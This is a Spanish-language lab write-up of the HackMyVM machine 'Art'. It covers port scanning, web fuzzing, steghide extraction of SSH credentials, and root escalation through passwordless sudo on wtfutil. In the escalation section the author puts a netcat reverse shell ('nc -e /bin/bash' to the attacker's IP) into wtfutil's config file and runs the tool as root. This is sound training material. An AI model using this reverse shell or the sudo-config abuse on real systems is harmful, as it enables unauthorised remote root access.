HackMyVM - Art
Introducción
En la maquina de hoy estaremos tocando los siguientes temas:
Web Enumeration
EsteganografÃa (steghide)
Escalada abusando permisos sudo archivo /bin/wtfutil config.yml"
Reconocimiento
Comprobamos que tengamos conexión con la máquina victima.
ping -c 1 192.168.138.138
PING 192.168.138.138 (192.168.138.138) 56(84) bytes of data.
64 bytes from 192.168.138.138: icmp_seq=1 ttl=64 time=0.364 ms
--- 192.168.138.138 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.364/0.364/0.364/0.000 ms
Con el TTL podemos saber que nos enfrentamos a una máquina Linux, ya que es ttl=63, asà que es lo más cercano al 64 que es de Linux.
¿Cuales son los TTLs por defecto en los S.O?
Linux --> 64
Windows --> 128
Solaris/AIX --> 254
Nmap
# Nmap 7.93 scan initiated Fri Mar 31 08:24:42 2023 as: nmap -sSCV -p- --open --min-rate 4000 -v -n -Pn -oN nmapScan 192.168.138.138
Nmap scan report for 192.168.138.138
Host is up (0.0026s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 45420f13cc8e49ddecf5bb0f58f4ef47 (RSA)
| 256 122fa363c27399e3f86757ab2952aa06 (ECDSA)
|_ 256 f8797ab1a87ee99725c3404a0c2f5e69 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0
MAC Address: 00:0C:29:BC:80:67 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 31 08:24:54 2023 -- 1 IP address (1 host up) scanned in 11.93 seconds
-sS
Escaneo SYN Port scan, agiliza el escaneo
-sC
Para que envÃe unos scripts básicos de reconocimiento que tiene Nmap en lua
-sV
Para que los puertos que encuentre abiertos nos muestre las versiones
-p-
Escanee todo el rango de puertos, que en total hay 65535
--open
Solo los puertos abiertos
--min-rate
Que no envÃe paquetes más lentos que X
-v
Verbose, que muestre por pantalla los puertos que vaya encontrando antes de acabar el escaneo
-n
Para que no haga resolución DNS
-Pn
Para que no haga Host Discovery
-oN
Que el escaneo actual lo ponga en X archivo en formato normal (nmap).
Encontramos los siguientes puertos abiertos
22 --> OpenSSH 8.4p1
80 --> nginx 1.18.0
Enumeración
Puerto 80
En el código fuente encontramos lo siguiente en un comentario

Hacemos fuzzing con dirsearch a ver si encontramos algun directorio
sudo dirsearch -u http://192.168.138.138
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/192.168.138.138/_23-03-31_08-28-53.txt
Error Log: /root/.dirsearch/logs/errors-23-03-31_08-28-53.log
Target: http://192.168.138.138/
[08:28:53] Starting:
[08:29:07] 200 - 170B - /index.php
Realizamos fuzzing al index.php ya que es la única ruta que encontramos, vamos a ver si encuentra algun archivo en index.php?FUZZ.
wfuzz -c --hc=404 --hh=170 -t 400 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.138.138/index.php?FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.138.138/index.php?FUZZ=/etc/passwd
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000450: 200 4 L 12 W 70 Ch "tag"
-c
Formato coloreado
--hc
Que no muestre el código que le establezcas [Ej: --hc=404,403)
-t
Numero de hilos
-w
Wordlist
-u
URL
Y encontramos justamente lo que salÃa en el código fuente -->
tag
Ahora realizamos fuzzing pero en el parámetro "tag"
wfuzz -c --hc=404 --hh=170,70 -t 400 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.138.138/index.php?tag=FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.138.138/index.php?tag=FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002906: 200 4 L 14 W 93 Ch "beauty"
000009517: 200 4 L 14 W 93 Ch "Beauty"
Total time: 124.7086
Processed Requests: 220560
Filtered Requests: 220558
Requests/sec.: 1768.601
-c
Formato coloreado
--hc
Que no muestre el código que le establezcas [Ej: --hc=404,403)
-t
Numero de hilos
-w
Wordlist
-u
URL
Encontramos 2 imagens en el "tag=":
Beauty
beauty
Explotación
Ambas imagenes salen lo siguiente:

Nos descargamos la imagen para ver si tiene algo oculto en la imagen, en este caso vamos a utilizar la herramienta steghide.

steghide extract -sf <imagen>
extract
La herramienta tiene 2 opciones, embed y extract, este caso queremos extraer, si quisiéramos incrustar deberÃamos utilizar embed
-sf
Especifique el nombre del archivo stego que se creará.
Es un usuario y una contraseña, sabemos que hay el puerto 22 abierto, vamos a hacer login a ver si son credenciales correctas.

Ha funcionado, asà que ahora solo toca enumerar el sistema para encontrar el vector de escalada.
Escalada de Privilegios
Enumeración básica sistema
lion@art:~$ id
uid=1000(lion) gid=1000(lion) grupos=1000(lion),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
lion@art:~$ uname -a
Linux art 5.10.0-16-amd64 #1 SMP Debian 5.10.127-2 (2022-07-23) x86_64 GNU/Linux
lion@art:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 11 (bullseye)
Release: 11
Codename: bullseye
lion@art:~$
Por ahora nada interesante que podamos abusar.
Passwd

Encontramos 2 usuarios validos
root
lion
Permisos SUID
find / -user root -perm -4000 2>/dev/null

No hay ningún binario SUID que podamos abusar
Permisos sudo
sudo -l

Parece que nuestro usuario actual puede ejecutar como sudo sin tener que poner credenciales el binario /bin/wtfutil
Vamos a ejecutar el binario a ver que es

Arriba a la izquierda vemos que hay un archivo de configuración, vamos a analizarlo bien a ver si podemos abusar.
Igualmente ya vemos que en el propio programa hay una pestaña que ejecuta el comando "uptime"
Leyendo el archivo de configuración veo que podemos cambiar el comando uptime a otro comando, en esta caso nos daremos una reverse shell para que tengamos una shell como root.

Cambiamos el args y cmd por los siguientes parámetros:
args: ['-e','/bin/bash','192.168.138.129','443']
cmd: "nc"
QuedarÃa asÃ

Nos ponemos en escucha:

Pero ahora si ejecutamos el wtfutil no nos dará la reverse shell ya que como ejecuta el programa como root, ejecutará el config.yml de root, y nosotros hemos cambiado el del usuario Lion.
Al hacer wtfutil --help vemos que se puede establecer con que config.yml queremos que se ejcute el programa

Asà que solamente debemos establecer que ejecute como root pero con el archivo de config de Lion
sudo -u root /bin/wtfutil --config=/home/lion/.config/wtf/config.yml
Y nos da la shell

User flag

Root flag

Despedida
La verdad es que está máquina me gusto muchisimo ya que nunca habia tocado esteganografÃa y me ayudo a aprender mucho del tema.
¡Espero que hayais disfrutado de la máquina!
Last updated